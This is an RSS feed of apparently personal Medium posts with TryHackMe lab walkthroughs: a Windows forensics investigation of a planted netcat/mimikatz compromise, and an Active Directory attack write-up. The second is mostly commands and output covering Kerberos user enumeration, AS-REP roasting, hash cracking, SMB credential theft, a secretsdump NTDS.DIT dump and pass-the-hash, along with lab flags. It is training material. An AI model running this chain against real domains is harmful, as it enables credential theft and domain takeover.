<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Onur Alp Akin on Medium]]></title>
        <description><![CDATA[Stories by Onur Alp Akin on Medium]]></description>
        <link>https://medium.com/@otuva?source=rss-460cf190eda6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*lisp18GIveh7dQvNUNHz5g.png</url>
            <title>Stories by Onur Alp Akin on Medium</title>
            <link>https://medium.com/@otuva?source=rss-460cf190eda6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 23:18:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@otuva/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe: Investigating Windows Walkthrough]]></title>
            <link>https://otuva.medium.com/tryhackme-investigating-windows-walkthrough-19ff272ae837?source=rss-460cf190eda6------2</link>
            <guid isPermaLink="false">https://medium.com/p/19ff272ae837</guid>
            <dc:creator><![CDATA[Onur Alp Akin]]></dc:creator>
            <pubDate>Thu, 13 Apr 2023 09:03:51 GMT</pubDate>
            <atom:updated>2023-04-13T09:03:51.456Z</atom:updated>
            <content:encoded><![CDATA[<p>A Windows machine has been hacked, it’s your job to go investigate this Windows machine and find clues to what the hacker might have done.</p><p>Original Publish Date: Mar 1, 2023</p><h4>What’s the version and year of the Windows machine?</h4><p>Settings &gt; system &gt; about</p><pre>windows server 2016</pre><h4>Which user logged in last?</h4><p>Let’s fire up event viewer and open security logs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HKeV8bVvMO-vqlylFS7Y1w.png" /></figure><p>From Microsoft docs, we can deduce that we should look for event ID 4624</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JwGdR7vivimdKyunCvO6gQ.png" /></figure><p>After sorting by date and looking through the details tab, we found our answer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H_wHTz-Y45M1mInmbu4_tQ.png" /></figure><h4>When did John log onto the system last?</h4><p>Filtering the above logs for user John on domain EC2AMAZ-I8UHO76 will not return anything, so instead of filtering for user, I simply search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*LXnGxyHkqUPFZyQBb_Envg.png" /></figure><h4>What IP does the system connect to when it first starts?</h4><p>One of the ways of persisting on the system is adding services and startup apps. Let’s check regedit</p><pre>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*6Z14nXL3rflhLfFSmcCvug.png" /></figure><h4>What two accounts had administrative privileges (other than the Administrator user)?</h4><p>From hacktricks</p><pre>net localgroup Administrators</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*CuMLw1LlcKtVPBzBKUcLWw.png" /></figure><h4>What’s the name of the scheduled task that is malicious?</h4><p>After opening Task Scheduler, we can see a couple of malicious looking tasks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*H-aybfuFPZAJrSc0YfrnaQ.png" /></figure><ul><li>falshupdate22 spawns a PowerShell and outputs to a TXT file</li><li>Game Over runs an EXE</li><li>Clean file system executes a PowerShell script</li></ul><p>Checking every single one, the script that third one executes looks very conspicuous to me</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*7DiFEvZ_ew7fzBjwFa2_xw.png" /></figure><p>I’m pasting it to an editor to enable syntax highlighting</p><p>Script’s help page says</p><pre>powercat - Netcat, The Powershell Version<br>Github Repository: <a href="https://github.com/besimorhino/powercat">https://github.com/besimorhino/powercat</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*Ela-DTbUT-r4mKFEOm-BDg.png" /></figure><p>In the real world, it’s plausible that this would be a connection to a C&amp;C server.</p><h4>What file was the task trying to run daily?</h4><p>It’s either:</p><ul><li>check logged in → iexplorer.exe</li><li>Clean file system → nc.ps1</li></ul><p>We can deduct it’s the latter</p><h4>What port did this file listen locally for?</h4><p>From the actions page above: 1348</p><h4>When did Jenny last logon?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*xTNK-fDCTO5yePX8ezkvTg.png" /></figure><h4>At what date did the compromise take place?</h4><p>It’s safe to assume that previous malicious task would be created after initial compromise</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*BpH73i5r94QXFc-I9fG8LQ.png" /></figure><h4>At what time did Windows first assign special privileges to a new logon?</h4><p>Returning to event viewer, I filter the logs again, but this time with the event ID 4672</p><p>There are more than 300 results. To reduce the amount, it would make sense to filter from 2/3/2019 to 6/3/2019</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*_9WbjtxDNgGKuj6PjPUavA.png" /></figure><p>Hint says it follows the format 00/00/0000 0:00:49 PM</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*4oisBOwKD2ZOY6r0c6sRNg.png" /></figure><h4>What tool was used to get Windows passwords?</h4><p>Game Over task uses mim.exe to exfiltrate data. I just guessed it would be mimikatz</p><p>But if you don’t want to guess, you can navigate to C:\TMP then get file’s hash and search on <a href="https://www.virustotal.com/gui/file/f8f1c210a8c863efc0f6b8ac3553030a14a702ce8cf573cb5e9cd58f70c7c622/community">Virus Total</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eDf1bGR1toxQKEfEDv8Egw.png" /></figure><h4>What was the attacker’s external control and command servers IP?</h4><p>From hacktricks (Interfaces, Routes, Ports, Hosts and DNSCache)</p><pre>ipconfig /displaydns | findstr &quot;Record&quot; | findstr &quot;Name Host&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OUjaFJA3tBGDLr62RzEdnQ.png" /></figure><h4>What was the extension name of the shell uploaded via the server’s website?</h4><p>I burned more than 10 minutes on this trying to figure out what this question even meant. Apparently they meant <em>the</em> server we are connected via RDP, not the remote C&amp;C server. So we can look at the webroot to see what it includes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g6ahpE7NhlEC7w4qwgKApg.png" /></figure><h4>What was the last port the attacker opened?</h4><p>The command below didn’t give any useful output. Therefore, back to the event viewer :)</p><pre>netsh firewall show state</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AdgXl6mhOt0zmiXf3Skcpw.png" /></figure><p>In event viewer, navigate to</p><pre>Applications and Services Logs\Microsoft\Windows\Windows Firewall with Advanced Security\Firewall</pre><p>And sorting by date, we have two candidates:</p><ul><li>8888 → Service Firewall (Not so suspicious rule name)</li><li>1337 → Allow outside connections for development (Very suspicious rule name :))</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wK9Lu5L-eNwrnDDoqdK4Zg.png" /></figure><h4>Check for DNS poisoning, what site was targeted?</h4><p>We saw this earlier with the ipconfig command, but to double-check we can read hosts file and previous IP address is indeed there.</p><pre>type C:\WINDOWS\System32\drivers\etc\hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AC5FpRNFdRJCAp6GdDjKtQ.png" /></figure><p>That was it, thank you for reading :)</p><h4>References</h4><p><a href="https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters">https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters</a><br><a href="https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624">https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624</a><br><a href="https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672">https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672</a><br><a href="https://github.com/besimorhino/powercat">https://github.com/besimorhino/powercat</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19ff272ae837" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Attacktive Directory Walkthrough]]></title>
            <link>https://otuva.medium.com/tryhackme-attacktive-directory-walkthrough-ccec221837fa?source=rss-460cf190eda6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ccec221837fa</guid>
            <dc:creator><![CDATA[Onur Alp Akin]]></dc:creator>
            <pubDate>Thu, 13 Apr 2023 07:27:23 GMT</pubDate>
            <atom:updated>2023-04-13T07:27:23.194Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, in this room we will exploit a vulnerable Domain Controller.</p><p>Original Publish Date: Feb 28, 2023</p><p>We will need some tools likepython3-impacket, bloodhound and neo4j to utilize while attacking Active Directory. Installing bloodhound will install neo4j too on Kali.</p><h3>Enumeration: Welcome to Attacktive Directory</h3><p>Let’s start the machine, wait for it to boot up, then run a nmap scan.</p><p>To get the most we can, I’m using -A to enable OS detection and version scanning, -F to scan only ports listed in services file and using the fastest speed (Because this is a virtual lab, I’m not worried I might trigger something.)</p><pre>nmap -A -T5 -F 10.10.247.101</pre><h4>What tool will allow us to enumerate port 139/445?</h4><p>Searching 139,445 on hacktricks gives us a way to obtain information</p><pre>#Dump interesting information<br>enum4linux -a [-u &quot;&lt;username&gt;&quot; -p &quot;&lt;passwd&gt;&quot;] &lt;IP&gt;</pre><pre>...</pre><p>Trying all the tools names from top to bottom, the first tool name, enum4linux, is apparently what we’re looking for.</p><h4>What is the NetBIOS-Domain Name of the machine?</h4><p>Running enum4linux just with machine IP.</p><pre>================================( Getting domain SID for 10.10.247.101 )================================                                         <br>                                                                                                                                                  <br>Domain Name: THM-AD                                                                                                                               <br>Domain Sid: S-1-5-21-3591857110-2884097990-301047963</pre><pre>[+] Host is part of a domain (not a workgroup)</pre><h4>What invalid TLD do people commonly use for their Active Directory Domain?</h4><p>From the nmap results</p><pre>3389/tcp open  ms-wbt-server Microsoft Terminal Services                                                                                          <br>| rdp-ntlm-info:                                                                                                                                  <br>|   Target_Name: THM-AD                                                                                                                           <br>|   NetBIOS_Domain_Name: THM-AD                                                                                                                   <br>|   NetBIOS_Computer_Name: ATTACKTIVEDIREC                                                                                                        <br>|   DNS_Domain_Name: spookysec.local <br>|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local</pre><h3>Enumeration: Enumerating Users via Kerberos</h3><p>A whole host of other services are running, including <strong>Kerberos</strong>. Kerberos is a key authentication service within Active Directory. With this port open, we can use a tool called <a href="https://github.com/ropnop/kerbrute/releases">Kerbrute</a> (by Ronnie Flathers <a href="https://twitter.com/ropnop">@ropnop</a>) to brute force discovery of users, passwords and even password spray!</p><pre>go install github.com/ropnop/kerbrute@latest<br>cd ~/go/bin<br>wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txt<br>wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/passwordlist.txt</pre><h4>What command within Kerbrute will allow us to enumerate valid usernames?</h4><pre>Available Commands:<br>  bruteforce    Bruteforce username:password combos, from a file or stdin<br>  bruteuser     Bruteforce a single user&#39;s password from a wordlist<br>  help          Help about any command<br>  passwordspray Test a single password against a list of users<br>  userenum      Enumerate valid domain usernames via Kerberos<br>  version       Display version info and quit</pre><p>We should run kerbrute now. Just supplying IP, will spit out lots of errors like</p><pre>...<br>2023/02/28 05:35:24 &gt;  [!] michael@10.10.247.101 - KDC ERROR - Wrong Realm. Try adjusting the domain? Aborting...<br>2023/02/28 05:35:24 &gt;  [!] NULL@10.10.247.101 - KDC ERROR - Wrong Realm. Try adjusting the domain? Aborting...<br>2023/02/28 05:35:24 &gt;  [!] john@10.10.247.101 - KDC ERROR - Wrong Realm. Try adjusting the domain? Aborting...<br>2023/02/28 05:35:24 &gt;  [!] admin@10.10.247.101 - KDC ERROR - Wrong Realm. Try adjusting the domain? Aborting...<br>...</pre><p>So we must add domain name to our hosts file</p><pre>echo 10.10.247.101 spookysec.local | tee -a /etc/hosts</pre><p>After giving domain name as a parameter, it asks for a domain controller too. Thus, we must add that parameter also.</p><p>The final command looks like this:</p><pre>./kerbrute userenum --domain &#39;spookysec.local&#39; --dc &#39;spookysec.local&#39; userlist.txt</pre><h4>What notable account is discovered? (These should jump out at you)</h4><pre>2023/02/28 05:39:14 &gt;  [+] VALID USERNAME:       james@spookysec.local<br>2023/02/28 05:39:16 &gt;  [+] VALID USERNAME:       svc-admin@spookysec.local<br>2023/02/28 05:39:18 &gt;  [+] VALID USERNAME:       James@spookysec.local<br>2023/02/28 05:39:19 &gt;  [+] VALID USERNAME:       robin@spookysec.local<br>2023/02/28 05:39:27 &gt;  [+] VALID USERNAME:       darkstar@spookysec.local<br>2023/02/28 05:39:33 &gt;  [+] VALID USERNAME:       administrator@spookysec.local<br>2023/02/28 05:39:44 &gt;  [+] VALID USERNAME:       backup@spookysec.local<br>2023/02/28 05:39:48 &gt;  [+] VALID USERNAME:       paradox@spookysec.local</pre><h4>What is the other notable account is discovered? (These should jump out at you)</h4><p>See above.</p><h3>Exploitation: Abusing Kerberos</h3><p>After the enumeration of user accounts is finished, we can attempt to abuse a feature within Kerberos with an attack method called ASREPRoasting. ASReproasting occurs when a user account has the privilege “Does not require Pre-Authentication” set. This means that the account does not need to provide valid identification before requesting a Kerberos Ticket on the specified user account.</p><p><a href="https://github.com/SecureAuthCorp/impacket">Impacket</a> has a tool called “GetNPUsers.py” that will allow us to query ASReproastable accounts from the Key Distribution Center. The only thing that’s necessary to query accounts is a valid set of usernames, which we enumerated previously via Kerbrute.</p><p>After I saw potentially lucrative usernames, I’ve made a file:</p><pre>echo -e &quot;svc-admin\nbackup&quot; &gt; users.txt</pre><p>Then ran impacket script:</p><pre>impacket-GetNPUsers spookysec.local/ -usersfile users.txt</pre><p>Results</p><pre>Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation</pre><pre>$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:20644348121d236445ef67b8161e151a$5e6cd4673af57b6780ba962791bc3afc273de59d93c8661e756b12c01e657dddd716e7833de6dbaa51c6e36b28771ea10a942d61e5f46cce32cb09ef4098406ae8fe46cb5abe92d7f845de87e0aa629fc6487dc808a3548fbf2c25b12b31912ddaff99fd7a0bbadeebc1998fea622275f93a5872cf8fe6fe9bddd2152e9a6073a5439bc2c542d5f5e9324ea8be389e6f69f6b9b3240cd38f881379c9be806e3d131b8f1e2ffc7c14c4598413ee20924ab036c4b53350d21b607ea4381069a60631990d6691e2a0933ba7793d045e6001e40f74b5b2d3a56de9f3eee290fd8f069738fabb7cec955387eea0d897f688eaa270<br>[-] User backup doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set</pre><h4>Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)</h4><pre>18200  Kerberos 5, etype 23, AS-REP  $krb5asrep$23$user@domain.com:3e156ada591263b8aab0965f5aebd837$007497cb51b6c8116d6407a782ea0e1c5402b17db7afa6b05a6d30ed164a9933c754d720e279c6c573679bd27128fe77e5fea1f72334c1193c8ff0b370fadc6368bf2d49bbfdba4c5dccab95e8c8ebfdc75f438a0797dbfb2f8a1a5f4c423f9bfc1fea483342a11bd56a216f4d5158ccc4b224b52894fadfba3957dfe4b6b8f5f9f9fe422811a314768673e0c924340b8ccb84775ce9defaa3baa0910b676ad0036d13032b0dd94e3b13903cc738a7b6d00b0b3c210d1f972a6c7cae9bd3c959acf7565be528fc179118f28c679f6deeee1456f0781eb8154e18e49cb27b64bf74cd7112a0ebae2102ac</pre><h4>What mode is the hash?</h4><p>See one line above.</p><h4>Now crack the hash with the modified password list provided, what is the user accounts password?</h4><p>Create hash file</p><pre>echo &#39;$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:20644348121d236445ef67b8161e151a$5e6cd4673af57b6780ba962791bc3afc273de59d93c8661e756b12c01e657dddd716e7833de6dbaa51c6e36b28771ea10a942d61e5f46cce32cb09ef4098406ae8fe46cb5abe92d7f845de87e0aa629fc6487dc808a3548fbf2c25b12b31912ddaff99fd7a0bbadeebc1998fea622275f93a5872cf8fe6fe9bddd2152e9a6073a5439bc2c542d5f5e9324ea8be389e6f69f6b9b3240cd38f881379c9be806e3d131b8f1e2ffc7c14c4598413ee20924ab036c4b53350d21b607ea4381069a60631990d6691e2a0933ba7793d045e6001e40f74b5b2d3a56de9f3eee290fd8f069738fabb7cec955387eea0d897f688eaa270&#39; &gt; hash.txt</pre><p>Run hashcat like this:</p><pre>hashcat -a 0 -m 18200 hash.txt passwordlist.txt</pre><p>Result:</p><pre>management2005</pre><h3>Enumeration: Back to the Basics</h3><p>With a user’s account credentials, we now have significantly more access within the domain. We can now attempt to enumerate any shares that the domain controller may be giving out</p><h4>What utility can we use to map remote SMB shares?</h4><p>If you don’t know already, hacktricks says:</p><pre>smbclient --no-pass -L //&lt;IP&gt; # Null user<br>smbclient -U &#39;username[%passwd]&#39; -L [--pw-nt-hash] //&lt;IP&gt; #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash</pre><h4>Which option will list shares?</h4><pre>-L, --list=HOST                              Get a list of shares available on a host</pre><h4>How many remote shares is the server listing?</h4><pre>Sharename       Type      Comment<br>        ---------       ----      -------<br>        ADMIN$          Disk      Remote Admin<br>        backup          Disk      <br>        C$              Disk      Default share<br>        IPC$            IPC       Remote IPC<br>        NETLOGON        Disk      Logon server share <br>        SYSVOL          Disk      Logon server share</pre><h4>There is one particular share that we have access to that contains a text file. Which share is it?</h4><p>Intuitively, backup looks promising, so I will enter an interactive prompt like this:</p><pre>smbclient -U &#39;svc-admin%management2005&#39; \\\\spookysec.local\\backup</pre><pre>smb: \&gt; ls                                                                                                                                        <br>  .                                   D        0  Sat Apr  4 19:08:39 2020                                                                        <br>  ..                                  D        0  Sat Apr  4 19:08:39 2020                                                                        <br>  backup_credentials.txt              A       48  Sat Apr  4 19:08:53 2020</pre><p>Download the file</p><pre>get backup_credentials.txt</pre><h4>What is the content of the file?</h4><pre>YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw</pre><h4>Decoding the contents of the file, what is the full contents?</h4><p>Command to decode:</p><pre>cat backup_credentials.txt | base64 -d</pre><p>Contents:</p><pre>backup@spookysec.local:backup2517860</pre><h3>Domain Privilege Escalation: Elevating Privileges within the Domain</h3><p>Now that we have new user account credentials, we may have more privileges on the system than before. The username of the account “backup” gets us thinking. What is this the backup account to?</p><p>Well, it is the backup account for the Domain Controller. This account has a unique permission that allows all Active Directory changes to be synced with this user account. This includes password hashes</p><p>Knowing this, we can use another tool within Impacket called “secretsdump.py”. This will allow us to retrieve all the password hashes that this user account (that is synced with the domain controller) has to offer. Exploiting this, we will effectively have full control over the AD Domain</p><h4>What method allowed us to dump NTDS.DIT?</h4><pre># impacket-secretsdump -h | grep NTDS.DIT<br>  -ntds NTDS            NTDS.DIT file to parse<br>                        resume file name to resume NTDS.DIT session dump (only<br>                        Extract only NTDS.DIT data for the user specified.<br>  -just-dc              Extract only NTDS.DIT data (NTLM hashes and Kerberos<br>  -just-dc-ntlm         Extract only NTDS.DIT data (NTLM hashes only)<br>  -pwd-last-set         Shows pwdLastSet attribute for each NTDS.DIT account.</pre><p>Command we need to use per help page:</p><pre>impacket-secretsdump -just-dc backup@spookysec.local</pre><p>For answer, see below.</p><h4>What is the Administrator’s NTLM hash?</h4><pre>Password:                                                                                                                                         <br>[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)                                                                                     <br>[*] Using the DRSUAPI method to get NTDS.DIT secrets                                                                                              <br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::                                                            <br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                    <br>krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::                                                                   <br>spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::                                                   <br>spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::                                         <br>spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::                                                   <br>spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::                                                <br>spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::                                             <br>spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::                                                <br>spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::                                                     <br>spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::                                                   <br>spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::                                                 <br>spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::                                                <br>spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::                                                <br>spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::                                               <br>spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::                                                  <br>spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::                                                <br>ATTACKTIVEDIREC$:1000:aad3b435b51404eeaad3b435b51404ee:f2ed955aefdc3725330c715ef7cc2662:::                                            <br>[*] Kerberos keys grabbed                                                                                                                         <br>Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c0c701ad2948ee0f48                                            <br>Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae                                                                            <br>Administrator:des-cbc-md5:2079ce0e5df189ad<br>krbtgt:aes256-cts-hmac-sha1-96:b52e11789ed6709423fd7276148cfed7dea6f189f3234ed0732725cd77f45afc<br>krbtgt:aes128-cts-hmac-sha1-96:e7301235ae62dd8884d9b890f38e3902<br>krbtgt:des-cbc-md5:b94f97e97fabbf5d<br>spookysec.local\skidy:aes256-cts-hmac-sha1-96:3ad697673edca12a01d5237f0bee628460f1e1c348469eba2c4a530ceb432b04<br>spookysec.local\skidy:aes128-cts-hmac-sha1-96:484d875e30a678b56856b0fef09e1233<br>spookysec.local\skidy:des-cbc-md5:b092a73e3d256b1f<br>spookysec.local\breakerofthings:aes256-cts-hmac-sha1-96:4c8a03aa7b52505aeef79cecd3cfd69082fb7eda429045e950e5783eb8be51e5<br>spookysec.local\breakerofthings:aes128-cts-hmac-sha1-96:38a1f7262634601d2df08b3a004da425<br>spookysec.local\breakerofthings:des-cbc-md5:7a976bbfab86b064<br>spookysec.local\james:aes256-cts-hmac-sha1-96:1bb2c7fdbecc9d33f303050d77b6bff0e74d0184b5acbd563c63c102da389112<br>spookysec.local\james:aes128-cts-hmac-sha1-96:08fea47e79d2b085dae0e95f86c763e6<br>spookysec.local\james:des-cbc-md5:dc971f4a91dce5e9<br>spookysec.local\optional:aes256-cts-hmac-sha1-96:fe0553c1f1fc93f90630b6e27e188522b08469dec913766ca5e16327f9a3ddfe<br>spookysec.local\optional:aes128-cts-hmac-sha1-96:02f4a47a426ba0dc8867b74e90c8d510<br>spookysec.local\optional:des-cbc-md5:8c6e2a8a615bd054<br>spookysec.local\sherlocksec:aes256-cts-hmac-sha1-96:80df417629b0ad286b94cadad65a5589c8caf948c1ba42c659bafb8f384cdecd<br>spookysec.local\sherlocksec:aes128-cts-hmac-sha1-96:c3db61690554a077946ecdabc7b4be0e<br>spookysec.local\sherlocksec:des-cbc-md5:08dca4cbbc3bb594<br>spookysec.local\darkstar:aes256-cts-hmac-sha1-96:35c78605606a6d63a40ea4779f15dbbf6d406cb218b2a57b70063c9fa7050499<br>spookysec.local\darkstar:aes128-cts-hmac-sha1-96:461b7d2356eee84b211767941dc893be<br>spookysec.local\darkstar:des-cbc-md5:758af4d061381cea<br>spookysec.local\Ori:aes256-cts-hmac-sha1-96:5534c1b0f98d82219ee4c1cc63cfd73a9416f5f6acfb88bc2bf2e54e94667067<br>spookysec.local\Ori:aes128-cts-hmac-sha1-96:5ee50856b24d48fddfc9da965737a25e<br>spookysec.local\Ori:des-cbc-md5:1c8f79864654cd4a<br>spookysec.local\robin:aes256-cts-hmac-sha1-96:8776bd64fcfcf3800df2f958d144ef72473bd89e310d7a6574f4635ff64b40a3<br>spookysec.local\robin:aes128-cts-hmac-sha1-96:733bf907e518d2334437eacb9e4033c8<br>spookysec.local\robin:des-cbc-md5:89a7c2fe7a5b9d64<br>spookysec.local\paradox:aes256-cts-hmac-sha1-96:64ff474f12aae00c596c1dce0cfc9584358d13fba827081afa7ae2225a5eb9a0<br>spookysec.local\paradox:aes128-cts-hmac-sha1-96:f09a5214e38285327bb9a7fed1db56b8<br>spookysec.local\paradox:des-cbc-md5:83988983f8b34019<br>spookysec.local\Muirland:aes256-cts-hmac-sha1-96:81db9a8a29221c5be13333559a554389e16a80382f1bab51247b95b58b370347<br>spookysec.local\Muirland:aes128-cts-hmac-sha1-96:2846fc7ba29b36ff6401781bc90e1aaa<br>spookysec.local\Muirland:des-cbc-md5:cb8a4a3431648c86<br>spookysec.local\horshark:aes256-cts-hmac-sha1-96:891e3ae9c420659cafb5a6237120b50f26481b6838b3efa6a171ae84dd11c166<br>spookysec.local\horshark:aes128-cts-hmac-sha1-96:c6f6248b932ffd75103677a15873837c<br>spookysec.local\horshark:des-cbc-md5:a823497a7f4c0157<br>spookysec.local\svc-admin:aes256-cts-hmac-sha1-96:effa9b7dd43e1e58db9ac68a4397822b5e68f8d29647911df20b626d82863518<br>spookysec.local\svc-admin:aes128-cts-hmac-sha1-96:aed45e45fda7e02e0b9b0ae87030b3ff<br>spookysec.local\svc-admin:des-cbc-md5:2c4543ef4646ea0d<br>spookysec.local\backup:aes256-cts-hmac-sha1-96:23566872a9951102d116224ea4ac8943483bf0efd74d61fda15d104829412922<br>spookysec.local\backup:aes128-cts-hmac-sha1-96:843ddb2aec9b7c1c5c0bf971c836d197<br>spookysec.local\backup:des-cbc-md5:d601e9469b2f6d89<br>spookysec.local\a-spooks:aes256-cts-hmac-sha1-96:cfd00f7ebd5ec38a5921a408834886f40a1f40cda656f38c93477fb4f6bd1242<br>spookysec.local\a-spooks:aes128-cts-hmac-sha1-96:31d65c2f73fb142ddc60e0f3843e2f68<br>spookysec.local\a-spooks:des-cbc-md5:e09e4683ef4a4ce9<br>ATTACKTIVEDIREC$:aes256-cts-hmac-sha1-96:e6e8679c18335a5727c74a0801720ad16b7c97dbc8742ef4be569b8285bf1abb<br>ATTACKTIVEDIREC$:aes128-cts-hmac-sha1-96:f46858dffe32ad676fc974361b7149f7 <br>ATTACKTIVEDIREC$:des-cbc-md5:760276df75aef4df<br>[*] Cleaning up...</pre><h4>What method of attack could allow us to authenticate as the user without the password?</h4><pre>pass the hash</pre><p>If you didn’t know the technique already, you could’ve seen it <a href="https://attack.mitre.org/techniques/T1550/002/">from mitre</a></p><h4>Using a tool called Evil-WinRM what option will allow us to use a hash?</h4><pre>...<br>    -U, --url URL                    Remote url endpoint (default /wsman)<br>    -u, --user USER                  Username (required if not using kerberos)<br>    -p, --password PASS              Password<br>    -H, --hash HASH                  NTHash<br>    -P, --port PORT                  Remote host port (default 5985)<br>...</pre><h3>Flags</h3><h4>svc-admin</h4><pre>TryHackMe{K3rb3r0s_Pr3_4uth}</pre><h4>backup</h4><pre>TryHackMe{B4ckM3UpSc0tty!}</pre><h4>Administrator</h4><pre>TryHackMe{4ctiveD1rectoryM4st3r}</pre><p>And that was it :) Thank you for reading</p><p>References</p><p><a href="https://github.com/ropnop/kerbrute#usage">https://github.com/ropnop/kerbrute#usage</a><br><a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb">https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb</a><br><a href="https://hashcat.net/wiki/doku.php?id=example_hashes">https://hashcat.net/wiki/doku.php?id=example_hashes</a><br><a href="https://github.com/fortra/impacket#getting-impacket">https://github.com/fortra/impacket#getting-impacket</a><br><a href="https://www.samba.org/samba/docs/current/man-html/smbclient.1.html">https://www.samba.org/samba/docs/current/man-html/smbclient.1.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ccec221837fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Splunk 2 Walkthrough (splunk2gcd5)]]></title>
            <link>https://otuva.medium.com/tryhackme-splunk-2-walkthrough-splunk2gcd5-7def8b3c771d?source=rss-460cf190eda6------2</link>
            <guid isPermaLink="false">https://medium.com/p/7def8b3c771d</guid>
            <dc:creator><![CDATA[Onur Alp Akin]]></dc:creator>
            <pubDate>Thu, 13 Apr 2023 07:13:40 GMT</pubDate>
            <atom:updated>2023-04-13T07:24:41.639Z</atom:updated>
            <cc:license>http://creativecommons.org/licenses/by/4.0/</cc:license>
